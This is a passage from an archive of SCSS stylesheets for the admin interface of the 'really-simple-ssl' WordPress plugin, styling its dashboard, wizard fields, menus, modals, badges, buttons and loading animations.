    flex: 1;
    display: flex;
    justify-content: flex-end;
  }

.rsssl-two_fa_users .rdt_TableHeadRow .rdt_TableCol:last-child {
  flex-grow: 1;
  display: flex;
  justify-content: flex-end;
}

.rsssl-two_fa_general,
.rsssl-two_fa_email,
.rsssl-two_fa_totp,
.rsssl-two_fa_users {
  .MuiPopper-root, .MuiPaper-root {
    max-height: 30px;
    z-index: 15;

    div {
      font-family: inherit !important;
    }

    ul {
      max-height: initial;
    }
  }
}

.rsssl-add-button__inner .button {
  display: flex;
  align-items: center;
}

.rsssl-add-button__inner .button .icon {
  margin-left: 8px; /* Adjust the spacing as needed */
}really-simple-ssl/assets/css/admin/modules/modal.scss000064400000006042147510273070016755 0ustar00//.rsssl-modal-backdrop {
//  position: fixed;
//  top: 0;
//  right: 0;
//  bottom: 0;
//  left: 0;
//  background-color: rgba(0, 0, 0, 0.6);
//  width: 100%;
//  height: 100%;
//  z-index: 12; //higher than rsssl-locked
//}
//
//.rsssl-modal {
//  width: clamp(300px, 75ch, 100vw - 50px);
//  height: max-content;
//  position: absolute;
//  z-index: 9999;//ensure the modal is over the WP menu in the sidebar.
//  border-radius: var(--rsp-border-radius);
//  background-color: var(--rsp-white);
//  top: 25vh;
//  left: -20px;
//  right: 0;
//  bottom: 0;
//  /* transform: translate(-50%, -50%); */
//  margin: 25px auto;
//
//  &-header {
//    @include rsssl-block-padding;
//    display: flex;
//    justify-content: space-between;
//    align-items: center;
//    border-radius: var(--rsp-border-radius);
//    .modal-title {
//      margin: 0;
//    }
//    .rsssl-modal-close {
//      cursor: pointer;
//      background: none;
//      border: none;
//      font-weight: 700;
//    }
//    button {
//      img {
//        height: 16px;
//        width: 16px;
//      }
//    }
//  }
//
//  &-content {
//    position: relative;
//    font-size: var(--rsp-fs-300);
//    line-height: 1.5;
//    @include rsssl-block-padding;
//    &-subtitle {
//      font-size: var(--rsp-fs-600);
//      font-weight: 600;
//      margin-bottom: var(--rsp-spacing-xs);
//    }
//    &-description {
//      overflow-wrap: anywhere;
//      margin-top: 0;
//      font-weight: 400;
//      line-height: 1.5;
//      margin-bottom: var(--rsp-spacing-s);
//    }
//  }
//  &-footer {
//    display: flex;
//    flex-direction: row;
//    @include rsssl-block-padding;
//    gap:10px;
//    // text-align: right;
//    .button {
//      display: flex;
//      align-items: flex-start;
//      justify-content: center;
//      min-width: 105px;
//
//      //height: 45px;
//      //width: 100%;
//      text-align: center;
//      // margin-right: 20px;
//      border-radius: 6px;
//    }
//
//    .rsssl-button-help {
//      background-color: #D7263D;
//      color: white;
//      border-color: #D7263D;
//      &:hover {
//        opacity: 0.9;
//      }
//    }
//  }
//}
////this has to apply both to modal and LE activation step
//.rsssl-modal-content-step {
//
//  ul{
//    margin-bottom: var(--rsp-spacing-m);
//    li {
//      display: flex;
//      align-items: flex-start;
//      margin-bottom: var(--rsp-spacing-xxs);
//      &.rsssl-is-plugin{
//        background-color: var(--rsp-grey-100);
//        border: none;
//        margin: 10px 0 0 0;
//        padding:2px 0;
//        position:relative;
//        a.button-default.rsssl-read-more{
//          position:absolute;
//          display:none;
//          top:17px;
//          right:20px;
//          z-index:5;
//          @media(max-width: 620px) {
//            position:relative;
//            margin-left:20px;
//            z-index:5;
//          }
//        }
//      }
//      .rsssl-icon{
//        margin-right:7px;
//      }
//
//    }
//  }
//}
//
//.components-modal__frame {
//  width: clamp(300px, 75ch, 100vw - 50px);
//}
really-simple-ssl/assets/css/admin/modules/dashboard.scss000064400000010303147510273070017603 0ustar00.rsssl {
  &-grid{
    .border-to-border {
      .rsssl-grid-item-content {
        padding: 0;

        & > * {
          padding-inline: var(--rsp-spacing-l);
          width: 100%;
          display: flex;
          flex-wrap: wrap;
          align-items: center;
        }
      }
    }
    .border-to-border.rsssl-ssllabs, .border-to-border.rsssl-wpvul {
      .rsssl-grid-item-content {

        & > * {
          padding-left: 0;
          padding-right: 0;
        }
      }
    }
  }
  .rsssl-wpvul {
    .rsssl-icon {
      margin-top:5px;
    }
  }
  .rsssl-ssl-labs, .rsssl-hardening {
    &-select {
      background: var(--rsp-grey-200);
      padding-inline: var(--rsp-spacing-l);
      padding-block: var(--rsp-spacing-m);
      display: grid;
      width: 100%;
      grid-template-columns: calc(50% - var(--rsp-spacing-s) / 2)  calc(50% - var(--rsp-spacing-s) / 2);
      gap: var(--rsp-spacing-s);
      transition: background-color 0.3s ease-in-out;

      &.rsssl-error {
        background: var(--rsp-red-faded);
      }

      &.rsssl-warning {
        background: var(--rsp-yellow-faded);
      }

      &.rsssl-success {
        background: var(--rsp-green-faded);
      }

      &-item {
        border-radius: var(--rsp-border-radius-xs);
        display: flex;
        flex-direction: column;
        justify-content: center;
        text-align: center;
        padding-block: var(--rsp-spacing-s);
        justify-items: center;
        flex-wrap: wrap;
        background: var(--rsp-white);
        min-height: 118px;

        &.active {
          box-shadow: inset 0 0 3px 2px var(--rsp-green-faded);
          border: 2px solid var(--rsp-green);
        }

        h2 {
          margin-top: var(--rsp-spacing-xxs);
          font-weight: 800;
          &.big-number{
            font-size: var(--rsp-fs-850);
          }
        }

        span {
          display: flex;
          gap: 3px;
          justify-content: center;
          font-size: var(--rsp-fs-100);
        }
      }
    }
    &-list {
      width: 100%;

      &-item {
        width: 100%;
        display: grid;
        justify-items: flex-start;
        grid-template-columns: auto 1fr auto;
        gap: var(--rsp-spacing-s);
        padding-block: var(--rsp-spacing-xs);
        padding-inline: var(--rsp-spacing-l);

        &:nth-of-type(even) {
          background: var(--rsp-grey-200);
        }

        &-text {
          width: 100%;
          margin-right: auto;
        }

        &-number {
          font-weight: 600;
        }
        .rsssl-icon{
          align-items: start;
          margin-top: 2px;
        }
      }
    }
  }
  .rsssl-ssl-labs {
    &-select {
      &-item{
        padding-inline: var(--rsp-spacing-s);
        gap: var(--rsp-spacing-xxs);
      }
    }
    .rsssl-score-snippet {
      max-width: 100%;
      overflow: hidden;
      text-overflow: ellipsis;
      height: 18px;
      line-height: 18px;
      padding-inline: var(--rsp-spacing-xxs);
      font-size: var(--rsp-fs-100);
      border-radius: var(--rsp-border-radius-xs);
      color: var(--rsp-text-color);
      text-align: left;
      &.rsssl-hover {
        height:initial;
        //white-space: nowrap;
        line-height:initial;
      }

      &.rsssl-test-inactive {
        background-color: var(--rsp-grey-200);
        color: var(--rsp-color-disabled);
      }

      &.rsssl-test-processing {
        background-color: var(--rsp-yellow);
        color: var(--rsp-black);
      }

      &.rsssl-test-success {
        background-color: var(--rsp-color-success);
        color: var(--rsp-text-color-white);
      }

      &.rsssl-test-error {
        background-color: var(--rsp-brand-primary);
        color: var(--rsp-black);
      }
    }
  }
  .rsssl-hardening {
    &-select {
      &-item {
        .rsssl-badge{
          margin-top: var(--rsp-spacing-xxs);
        }
      }
    }
  }
}

.rsssl-gridblock-progress-container {
  &.rsssl-error {
    .rsssl-gridblock-progress {
      background: var(--rsp-color-warning);
    }
  }

  &.rsssl-inactive {
    height: 4px;
    width: 100%;
    display: flex;
    background: var(--rsp-grey-300);

    .rsssl-gridblock-progress {
      transition: width 1s ease-in-out;
      background: var(--rsp-green);
    }
  }
}really-simple-ssl/assets/css/admin/modules/icons.scss000064400000000764147510273070017001 0ustar00.rsssl-icon{
  display: flex;
  align-items: center;
  justify-content: center;
  > div {
    display:flex;
  }
  svg{
    fill: currentColor;
  }
  &-loading svg{
    animation: spin 2s linear infinite;
  }

  @keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
  }

  &.rsssl-click-animation{
    animation: beat 0.4s ease-out;
  }
}

//loaders in buttons
button.button .cmplz-icon.rsssl-icon-loading {
  padding-top: 6px;
  >div {line-height: inherit;}
}
really-simple-ssl/assets/css/admin/modules/buttons.scss000064400000006320147510273070017356 0ustar00.rsssl {
  .rsssl-field-button {
    button.button {
      display:flex;
    }
  }
  a.button, button.button, input.button, span.button {
    font-size: var(--rsp-fs-300);
    font-weight: 400;
    transition: all 0.3s ease;
    min-height: 10px;

    &.button-secondary, &.button-default {
      background: transparent;
    }

    .rsssl-icon {
      padding-top: 7px;
      padding-left: 7px;
    }

    &.button-black {
      border: 1px solid var(--rsp-black);
      background: var(--rsp-black);
      color: var(--rsp-text-color-white);

      //&:hover, &:focus, &:active {
      //  box-shadow: 0 0 0 1px #fff, 0 0 0 3px var(--rsp-black);
      //}
    }

    &.button-tertiary, &.button-red {
      border: 0 solid transparent;
      background: var(--rsp-red);
      color: var(--rsp-text-color-white);

      //&:hover, &:focus, &:active {
      //  box-shadow: 0 0 0 1px #fff, 0 0 0 3px var(--rsp-red);
      //  background: var(--rsp-red);
      //  color: var(--rsp-text-color-white);
      //}
    }

    &.button-primary {
      // We disable all hover effects for the primary button as wel as active and focus
        // This is to ensure that the primary button is always the same color
        // and does not change on hover, focus or active
        &:hover, &:focus, &:active {
          box-shadow: none;
        }
    }

    &.button-secondary {
      // We disable all hover effects for the secondary button as wel as active and focus
        // This is to ensure that the secondary button is always the same color
        // and does not change on hover, focus or active
        &:hover, &:focus, &:active {
          box-shadow: none;
        }
    }
  }
}

.rsssl {
  a.rsssl-button-small, button.rsssl-button-small, input.rsssl-button-small {
    font-size: var(--rsp-fs-100);
    font-weight: 300;
    min-height: auto;
  }

  //on the dashboard, keep a minimum distance between two buttons
  .rsssl-button-small + .rsssl-button-small {
    margin-left: 10px;
  }


  /* Documents overview */
  .rsssl-shortcode {
    right: 10000px;
    position: absolute;
    background-color: #fff;
    padding: 0;
    white-space: nowrap;
  }

  .shortcode {
    cursor: pointer;
  }


  .rsssl-action-buttons {
    /* Making sure we use the full width of the container */
    display: flex;
    justify-content: flex-end;
  }

  .rsssl-action-buttons__inner {
    display: flex;
    justify-content: flex-end;
  }

  .rsssl-action-buttons__inner {
    //all buttons are floating right
    float: right;
  }

  .rsssl-action-buttons__button {
    //add some spacing between the buttons
    margin-right: 10px;
  }

  /* Remove margin for the last button to ensure clean alignment */
  .rsssl-action-buttons__inner:last-child {
    margin-right: 0;
  }

  /**
    For the mixed content scan we need to do some extra tweaking
   */
  .rsssl-mixed-content-scan {
    .rsssl-grid-item-content-footer {
      margin-left: 0;
      margin-right: 0;
      padding-left: 25px;

      .button {
        display: block;
        margin-right: 0;
        margin-left: 0;
      }

      .components-toggle-control {
        margin-top: calc(12px);
      }

      label {
        display: flex;
        align-items: center;
        justify-content: center;
      }
    }
  }
}really-simple-ssl/assets/css/admin/modules/wizard/permissions-policy.scss000064400000000333147510273070023026 0ustar00.rsssl div[class^=rsssl-wizard-] {
  .rsssl-permissions_policy {
    .rdt_TableCell , .rdt_TableCol{
      min-width:fit-content;
    }
    .rsssl-locked .rsssl-shield-overlay {
      top:calc(100% - 300px);
    }
  }
}really-simple-ssl/assets/css/admin/modules/wizard/snackbar.scss000064400000000606147510273070020745 0ustar00.rsssl{
  .components-snackbar-list.edit-site-notices{
    width: max-content;
    position: fixed;
    bottom: var(--rsp-spacing-m);
    right: var(--rsp-spacing-l);
    & > div{
      margin-left: auto;
    }
    .components-snackbar{
      @include rsssl-block;
      color: var(--rsp-color-success);
      background-color: #fff;
      font-weight:700;
      font-size:14px;
    }
  }
}really-simple-ssl/assets/css/admin/modules/wizard/vulnerabilities.scss000064400000000702147510273070022357 0ustar00.rsssl-vulnerability-action {
  a.button {
    margin-left:10px;
  }
}

.rsssl-processing {
  opacity:0.5;
}
.rsssl-vulnerabilities_measures-overview {
  .allowRowEvents {
    .wp-core-ui select {
      max-width: 100%;
    }
  }
  .rdt_TableCell {
    &:nth-child(2) {
      select {
        max-width: 100%;
      }
    }
  }
}

.rsssl-vulnerabilities_measures {
  .rsssl-locked-overlay {
    input[type=checkbox] {
      margin-top: 0;
    }
  }
}really-simple-ssl/assets/css/admin/modules/wizard/fields.scss000064400000011057147510273070020431 0ustar00html {
  scroll-behavior: smooth;
}
.rsssl{
  div[class^="rsssl-wizard-"]{ // starts with selector
    .components-flex{
      display: flex;
      flex-direction: row;
      align-items: center;
      justify-content: space-between;
      .components-flex-item label{
        margin: 0;
      }
      .rsssl-tooltip {
        flex-grow:1;
      }
      .components-input-control__container {
        max-width: max-content;
      }
    }

    .rsssl-grid-item-content label{
      font-size: var(--rsp-fs-300);
      font-weight: 400;
      line-height: 1.5;
      text-transform: unset;
      box-sizing: border-box;
      display: inherit;
      max-width: 100%;
      //z-index: 1; => this conflicts with the tooltip z-index
      overflow: hidden;
      text-overflow: ellipsis;
      white-space: nowrap;
    }
    .components-base-control__field{
      margin-bottom: 0;
    }
    .components-toggle-control{
      .components-base-control__field, .components-flex{
        display: flex;
        flex-direction: row-reverse;
        align-items: center;
        justify-content: space-between;
        width:100%;
        .components-form-toggle{
            margin-right: 0;

        }
      }
    }
    select option {
      font-size: var(--rsp-fs-300);
    }
    .components-form-toggle.is-checked .components-form-toggle__track{
      background-color: var(--rsp-dark-blue);
    }
    input.components-form-toggle__input[type=checkbox]:disabled, {
      background: var(--rsp-grey-100);
      opacity:0.7
    }
    .rsssl-grid-item{
      .rsssl-grid-item-content{
        padding: var(--rsp-spacing-xs) 0;
      }
    }

    .rsssl-field-wrap {
      .rsssl-comment {
        font-style:italic;
      }
    }
    .rsssl-field-wrap, .rsssl-settings-block-intro{
      padding-block: var(--rsp-spacing-s);
      @include rsssl-inline-block-padding;
      overflow: hidden;
      & > .rsssl-field-wrap{
        padding: 0;
      }
    }
    .rsssl-field-button{
      display: flex;
      justify-content: space-between;
      flex-wrap: wrap;
      align-items: center;
    }
  }

  .rsssl-highlight {
    background-color: transparent;
    border-left: 4px solid var(--rsp-green);
    -o-animation: fadeIt 3s ease-in-out;
    animation: fadeIt 3s ease-in-out;
    scroll-margin-top: 100px;
    scroll-padding-top:100px;
  }

  .rsssl-block-highlight {
    border: 0;
    -o-animation: pulse 2s infinite;
    animation: pulse 2s infinite;}

  @-webkit-keyframes pulse {
    0% {
      -webkit-box-shadow: 0 0 0 0 var(--rsp-green);
    }
    70% {
      -webkit-box-shadow: 0 0 0 10px var(--rsp-green-faded);
    }
    100% {
      -webkit-box-shadow: 0 0 0 0 var(--rsp-green-faded);;
    }
  }
  @keyframes pulse {
    0% {
      -moz-box-shadow: 0 0 0 0 var(--rsp-green);
      box-shadow: 0 0 0 0 var(--rsp-green);
    }
    70% {
      -moz-box-shadow: 0 0 0 10px var(--rsp-green-faded);
      box-shadow: 0 0 0 10px var(--rsp-green-faded);
    }
    100% {
      -moz-box-shadow: 0 0 0 0 var(--rsp-green-faded);
      box-shadow: 0 0 0 0 var(--rsp-green-faded);
    }
  }

  @-o-keyframes fadeIt {
    0%   { background-color: transparent; }
    30%  { background-color: var(--rsp-green-faded); }
    100% {
      border-right: 0;
      background-color: inherit;
    }
  }
  @keyframes fadeIt {
    0%   {
      background-color: transparent;
      border-right: 0;
    }
    30%  { background-color: var(--rsp-green-faded); }
    100% { background-color: inherit; }
  }
}

.rsssl-email-verified {
 position: absolute;
  bottom: 23px;
  right: 35px;
}

.rsssl-ip-verified {
  position: absolute;
  bottom: 8px;
  right: 6px;
}

//switch padding to top, to prevent tasks from getting stuck to text field
.rsssl-license {
  .rsssl-task-element {
    padding-top: var(--rsp-spacing-s);
    padding-bottom: 0;
  }
  .rsssl-license-field{
    display:flex;
  }
}

.input-container {
  position: relative;
  display: inline-block;
    width: 100%;
}

input.rsssl-input {
  &.full {
    width: 100%;
    padding-right: 40px;
  }
  &.rsssl-error {
    border: 2px solid var(--rsp-red);
    outline: none;
    &:focus {
      border-color: var(--rsp-red) !important;
    }
  }
  &.rsssl-success {
    border: 2px solid var(--rsp-green);
    outline: none;
    &:focus {
      border-color: var(--rsp-green) !important;
    }
  }
}
.wp-core-ui select {
  /* Your styles here */
  flex-grow: 1 !important;
  max-width: 33%;
}
.icon-button {
  position: absolute;
  right: 10px;
  top: 50%;
  transform: translateY(-50%);
  border: none;
  background: none;
  cursor: pointer;
}

.rsssl-group-filter {
  min-width: 25%;
  max-width: 100%!important;
}really-simple-ssl/assets/css/admin/modules/wizard/menu.scss000064400000006161147510273070020127 0ustar00.rsssl-wizard-menu{
  height: fit-content;
  background: none !important;
  box-shadow: none !important;
  .rsssl-grid-item-header {
    padding-left: var(--rsp-spacing-xs);
  }
  .rsssl-grid-item-content{
    padding: 0;
    padding-bottom: var(--rsp-spacing-l);
  }
}
.rsssl-wizard-menu-items > .rsssl-menu-item > a {
  font-weight: 600 !important;
  padding-inline: var(--rsp-spacing-xs) !important;
}

.rsssl-wizard-menu-items {
  .rsssl-main-menu {
    .rsssl-active {
      border-radius: var(--rsp-border-radius-s);
      background: var(--rsp-yellow-faded);
      box-shadow: var(--rsp-box-shadow);
      a:hover {
        text-decoration: none;
      }
    }

    .rsssl-menu-item {
      a {
        span {
          font-weight: 600;
        }
      }
    }
  }
  .rsssl-menu-item{
    a{
      display: flex;
      align-items: center;
      gap: var(--rsp-spacing-xs);
      text-decoration: none;
      color: var(--rsp-text-color);
      font-size: var(--rsp-fs-400);
      padding-block: var(--rsp-spacing-xs);
      transition: all 0.2s ease-in-out;
      padding-left: var(--rsp-spacing-xs);
      &:hover {
        text-decoration: underline;
      }
    }
    &.rsssl-active{
      > a{
        font-weight: 600;
      }
      a {
        &:focus {
          box-shadow: none !important;
        }
      }
    }
    &.rsssl-featured{

      &.rsssl-active {
        .rsssl-menu-item-beta-pill {
          color: var(--rsp-dark-blue);
        }
      }
      a{
        flex-wrap: wrap;
        .rsssl-menu-item-featured-pill{
            background: var(--rsp-green);
            color: var(--rsp-text-color-white);
            padding: 4px 8px;
            border-radius: var(--rsp-border-radius-xs);
            font-size: var(--rsp-fs-100);
        }
        .rsssl-menu-item-beta-pill{
          color: var(--rsp-dark-blue);
        }
      }
    }
    &.rsssl-new{

      .rsssl-menu-item-new-pill{
        background: var(--rsp-yellow);
        color: var(--rsp-text-color-dark);
        padding: 4px 8px;
        border-radius: var(--rsp-border-radius-xs);
        font-size: var(--rsp-fs-100);
      }

      &.rsssl-active {
        .rsssl-menu-item-new-pill {
          color: var(--rsp-text-color-dark);
        }
      }
      a{
        flex-wrap: wrap;
      }
    }


    &.rsssl-premium{
      a{
        flex-wrap: wrap;
        .rsssl-menu-item-featured-pill{
          background: var(--rsp-dark-blue);
          color: var(--rsp-text-color-white);
          padding: 2px 9px;
          border-radius: var(--rsp-border-radius);
          font-size: var(--rsp-fs-100);
        }
      }
    }
  }

  .rsssl-submenu-item{
    a{
      padding-left: calc(var(--rsp-spacing-xs) + var(--rsp-spacing-s)) !important;
      font-size: var(--rsp-fs-300);
    }
    .rsssl-active {
      a {
        text-decoration: none;
        position: relative;
        span {
          color: initial;
        }

        &::before {
          content: '\2022';
          color: var(--rsp-dark-blue);
          font-size: 3em;
          position: absolute;
          left: var(--rsp-spacing-xxs) !important;
          margin-bottom: 7px;
        }
      }
    }
  }
}really-simple-ssl/assets/css/admin/modules/wizard/learning-mode.scss000064400000002153147510273070021701 0ustar00.rsssl-learningmode-placeholder {
  height:150px;
  div {
    background-color:var(--rsp-grey-200);
    margin:10px 0;
    height:20px;
  }
}

.rsssl-learning-mode-delete {
  cursor: pointer;
  background: none;
  border: none;
  font-size: 1.5em;
  font-weight: 700;
}
.rsssl-locked-overlay {
  .rsssl-open {
    float: left;
    margin-right: 12px;
  }

  .rsssl-progress-status {
    @extend .rsssl-task-status;
    &.rsssl-learning-mode-completed, &.rsssl-learning-mode-enforced {
      background-color: var(--rsp-color-success);
      color:#fff;
    }
    &.rsssl-learning-mode {
      background-color: var(--rsp-color-open);

    }
    &.rsssl-learning-mode-error {
      background-color: var(--rsp-color-error);
      color:#fff;

    }
    &.rsssl-disabled, &.rsssl-learning-mode-disabled {
      background-color: var(--rsp-color-disabled);
    }

  }
}

.rsssl-learning-mode-footer {
  display:flex;
  align-items: center;
  justify-content: flex-start;
  gap: var(--rsp-spacing-s);
  select {
    margin-left:auto;
  }
  label {
    display: flex;
    align-items: center;
    input{
      margin-top: 0;
    }
  }
}really-simple-ssl/assets/css/admin/modules/wizard/notice.scss000064400000003265147510273070020446 0ustar00.rsssl-wizard-help {
  display: flex;
  flex-wrap: wrap;
  align-content: flex-start;
  gap: var(--rsp-spacing-xs);
  details{
    font-size: var(--rsp-fs-200);
    .rsssl-help-more-info {
        display: flex;
        flex-direction: row;
        margin-top: 12px;
    }
    summary {

      display: grid;
      grid-template-columns: 1fr auto;
      justify-content: space-between;
      font-size: var(--rsp-fs-300);
      font-weight: 600;
      cursor:pointer;
      &::-webkit-details-marker {
        display:none;
      }
      &:first-of-type {
        list-style-type: none;
      }
      .rsssl-icon{
        transition: all .3s ease-in-out;
        transform: rotate(0deg);
      }
    }
  }
  code{
    white-space: pre-line;
    display: block;
  }
  summary, p {
    font-size: var(--rsp-fs-200);
  }
  details[open]{
    padding: var(--rsp-spacing-s) var(--rsp-spacing-m);
    summary{
      padding: 0;
      padding-bottom: var(--rsp-spacing-xs);
      .rsssl-icon{
        transform: rotate(180deg);
      }
    }
  }
}

.rsssl-wizard-help {
  .rsssl-help-header {
    width:100%;
    display:flex;
    padding:10px;
    .rsssl-help-title{
      font-size:18px;
    }
    .rsssl-help-control {
      margin-left:auto; 
      cursor:pointer;
    }

  }
  >div{
    flex-grow:1;
    width:100%;
  }
}

.rsssl-wizard-help-notice {
  width: 100%;
  @include rsssl-block;
  border-radius: var(--rsp-border-radius-s);
  height: fit-content;
  background-color: var(--rsp-dark-blue-faded);
  &.rsssl-warning {
    background-color: var(--rsp-red-faded);
  }
  &.rsssl-open {
    background-color: var(--rsp-yellow-faded);
  }
  summary, p{
    padding: var(--rsp-spacing-s) var(--rsp-spacing-m);
  }
}

really-simple-ssl/assets/css/admin/modules/wizard/mixed-content-scan.scss000064400000002060147510273070022655 0ustar00.rsssl-mixed-content-scan {
  .rsssl-mixed-content-placeholder {
    height:250px;
    div {
      background-color:var(--rsp-grey-200);
      margin:10px 0;
      height:20px;
    }
  }
  //.rsssl-shield-overlay {
  //  height:250px;
  //  align-items: center;
  //  justify-content: center;
  //  display:flex;
  //}

  .rsssl-field-wrap {
    .rdt_TableCell[data-column-id="2"] {
      display:grid;
    }
    .rdt_TableCol, .rdt_TableCell {
      min-width: 110px;

    }
  }

  .rsssl-progress-container {
    .rsssl-progress-bar {
      border-radius:5px;
      height:20px;
      background-color:var(--rsp-green);
    }
  }
  .rsssl-task-status{
    min-width: min-content;
    &.rsssl-warning {
      background-color: var(--rsp-yellow);
      color: var(--rsp-text-color);
    }
  }
  button.button{
    line-height: 1.5;
    min-height: 10px;
  }
  .rsssl-grid-item-content-footer{
    display: flex;
    gap: var(--rsp-spacing-s);
  }
  .rsssl-current-scan-action, .rsssl-mixed-content-description {
    margin:10px 5px;
    font-size: var(--rsp-fs-300);
  }
}really-simple-ssl/assets/css/admin/modules/wizard/letsencrypt.scss000064400000004421147510273070021534 0ustar00.rsssl-lets-encrypt-tests {
  margin: var(--rsp-spacing-xs) var(--rsp-spacing-xl);

  .rsssl-features {
    ul {
      display: flex;
      list-style-type: none;
      padding: 0;
      margin: 0;

      .rsssl-checkbox-items {
        display: flex;
        flex-direction: column;
        align-items: flex-start;
        margin-right: var(--rsp-spacing-l);
      }
    }
  }

  .rsssl-progress-bar {
    padding-block: 0;
    margin-bottom:var(--rsp-spacing-m);
    .rsssl-progress {
      overflow: hidden;
      height: var(--rsp-spacing-m);
      border-radius: 5px;
      background-color: var(--rsp-grey-200);

      .rsssl-bar {
        height: 100%;
        background-color: var(--rsp-color-success);

        &.rsssl-orange {
          background-color: var(--rsp-color-warning);
        }
      }
    }
  }

  p {
    margin-bottom:var(--rsp-spacing-m);
  }

  .rsssl-progress-text {
    display: flex;
    align-items: center;
    @include rsssl-block-padding;
    padding-block: 0;
    padding-top: var(--rsp-spacing-xs);

    .rsssl-progress-percentage {
      font-size: 32px;
      font-weight: 700;
    }

    .rsssl-progress-text-span {
      margin-left: 35px;
      font-size: 18px;
      font-weight: 600;
      a {
        margin-left: 3px;
      }
    }
  }

  ul {
    li {
      display:flex;
      margin-bottom:15px;
      .rsssl-icon {
        margin-right:7px;
      }

      /*Nested li */
      ul li:before {
        background-color: var(--rsp-grey-500);
        color: #fff;
        height: 6px;
        width: 6px;
        border-radius: 50%;
        content: '';
        position: absolute;
        margin-top: 7px;
        margin-left: -19px;
      }
    }
  }

  .rsssl-test-results {
    ul {
      li {
        display:block;
      }
    }
    h4 {
      margin:var(--rsp-spacing-m) 0;
    }
    a+button {
      margin-left:var(--rsp-spacing-m);
    }
    .rsssl-certificate-data {
      display:none;
    }
    .rsssl-dns-text-records {

      div {
        display:flex;
        flex-direction: row;
        margin-right:20px;
        .rsssl-dns-domain, .rsssl-dns-field {
          margin-right:var(--rsp-spacing-m);
          width: 50%;
        }
      }
    }
  }

  .rsssl-modal-subtitle {
    display:none;
  }
  .components-toggle-control {
    margin: 20px 0;
  }
}

really-simple-ssl/assets/css/admin/modules/onboarding.scss000064400000001147147510273070020004 0ustar00.rsssl-modal.rsssl-onboarding {
  width: clamp(300px, 100ch, 100vw );
  padding-top: var(--rsp-spacing-m);
  line-height: 2.2;
  min-height:295px;
  .rsssl-logo {
    height: 26px;
  }
  .rsssl-modal-content{
    display:flex;
    min-height:295px;
    .rsssl-onboarding-placeholder {
      flex-grow:1
    }
    &-step {
      display:flex;
      flex-direction: column;
      width:100%;
    }
    .rsssl-processing {
      opacity:0.5;
    }

    ul{
      li {
        .rsssl-icon{
          margin-top: 7px;
        }
        .components-button.is-link {
          padding:5px 0;
        }
      }
    }
  }

}really-simple-ssl/assets/css/admin/modules/badges.scss000064400000004142147510273070017105 0ustar00.rsssl {
  .rsssl-badge {
    --badge-height: 20px;
    height: var(--badge-height);
    line-height: var(--badge-height);
    padding-inline: 8px;

    min-width: 100px;
    text-align: center;
    border-radius: var(--rsp-border-radius-xs);
    color: var(--rsp-white);
    display: table;
    margin: auto auto;
    font-size: var(--rsp-fs-100);

    &.rsp-dark {
      background-color: var(--rsp-black);
      color: var(--rsp-white);
    }

    &.rsp-low {
      background-color: var(--rsp-yellow-faded);
      color: var(--rsp-black);
    }

    &.rsp-medium {
      background-color: var(--rsp-yellow);
      color: var(--rsp-black);
    }

    &.rsp-high {
      background-color: var(--rsp-red-faded);
      color: var(--rsp-black);
    }

    &.rsp-critical {
      background-color: var(--rsp-red);
      color: var(--rsp-white);
    }

    &.rsp-success {
      background-color: var(--rsp-color-success);
      color: var(--rsp-white);
    }

    &.rsp-default {
      background-color: var(--rsp-grey-200);
      color:black;
    }
  }

  .rsssl-badge-large {
    --badge-height: 28px;
    height: var(--badge-height);
    line-height: var(--badge-height);
    padding: 0 10px;
    min-width: 80px;
    text-align: center;
    border-radius: var(--rsp-border-radius-xs);
    color: var(--rsp-white);
    display: table;
    margin: auto auto;
    font-size: var(--rsp-fs-300);
    font-weight: 400;

    &.rsp-dark {
      background-color: var(--rsp-black);
      color: var(--rsp-white);
    }

    &.rsp-risk-level-l {
      background-color: var(--rsp-yellow-faded);
      color: var(--rsp-black);
    }

    &.rsp-risk-level-m {
      background-color: var(--rsp-yellow);
      color: var(--rsp-black);
    }

    &.rsp-risk-level-h {
      background-color: var(--rsp-red-faded);
      color: var(--rsp-black);
    }

    &.rsp-risk-level-c {
      background-color: var(--rsp-red);
      color: var(--rsp-white);
    }

    &.rsp-success {
      background-color: var(--rsp-color-success);
      color: var(--rsp-white);
    }

    &.rsp-default {
      background-color: var(--rsp-grey-200);
      color:black;
    }
  }
}really-simple-ssl/assets/css/admin/states.scss000064400000005024147510273070015513 0ustar00.rsssl{
  /*skeleton*/
  $panelheight : 38px;
  $panelborder : 1px;
  $paneloffset : 3*($panelborder+$panelheight);
  $rows : 6;
  .rsssl-skeleton:empty {
	margin: auto;
	margin-bottom: 25px;
	width: 100%;
	height: ($rows*$panelheight)+($rows+1)*$panelborder; /* change height to see repeat-y behavior */

	background-image:
			linear-gradient( 100deg, rgba(255, 255, 255, 0), rgba(255, 255, 255, 0.5) 70%, rgba(255, 255, 255, 0.5) 15% ),
			linear-gradient( #f2f2f2 $panelheight, transparent 0 ),
			linear-gradient( #f2f2f2 $panelheight, transparent 0 ),
			linear-gradient( #f2f2f2 $panelheight, transparent 0 ),
			linear-gradient( #f2f2f2 $panelheight, transparent 0 );

	background-repeat: repeat-y;

	background-size:
			50px 200px, /* highlight */
			100% $paneloffset,
			100% $paneloffset,
			100% $paneloffset,
			100% $paneloffset;

	background-position:
			0 0, /* highlight */
			$panelborder $panelborder,
			$panelborder $panelheight+(2*$panelborder),
			$panelborder (2*$panelheight)+(3*$panelborder),
			$panelborder (3*$panelheight)+(4*$panelborder);

	background-color:#d6d8db;
	border-right: $panelborder solid #d6d8db;
	animation: shine 2.5s infinite;
  }
  @keyframes shine {
	to {
	  background-position:
			  100% 0, /* move highlight to right */
			  $panelborder $panelborder,
			  $panelborder $panelheight+(2*$panelborder),
			  $panelborder (2*$panelheight)+(3*$panelborder),
			  $panelborder (3*$panelheight)+(4*$panelborder);
	}
  }

  /*loader*/
  .rsssl-loader {
	margin: 0;
	width: 50px;
	height: 15px;
	text-align: center;
	font-size: 10px;
	> div {
	  margin:1px;
	  background-color: #333;
	  height: 100%;
	  width: 3px;
	  display: inline-block;
	  -webkit-animation: sk-stretchdelay 1.2s infinite ease-in-out;
	  animation: sk-stretchdelay 1.2s infinite ease-in-out;
	}

	&.rsssl-loader-white >div {
	  background-color: #fff;
	}

	.rect2 {
	  -webkit-animation-delay: -1.1s;
	  animation-delay: -1.1s;
	}

	.rect3 {
	  -webkit-animation-delay: -1.0s;
	  animation-delay: -1.0s;
	}

	.rect4 {
	  -webkit-animation-delay: -0.9s;
	  animation-delay: -0.9s;
	}

	.rect5 {
	  -webkit-animation-delay: -0.8s;
	  animation-delay: -0.8s;
	}
  }

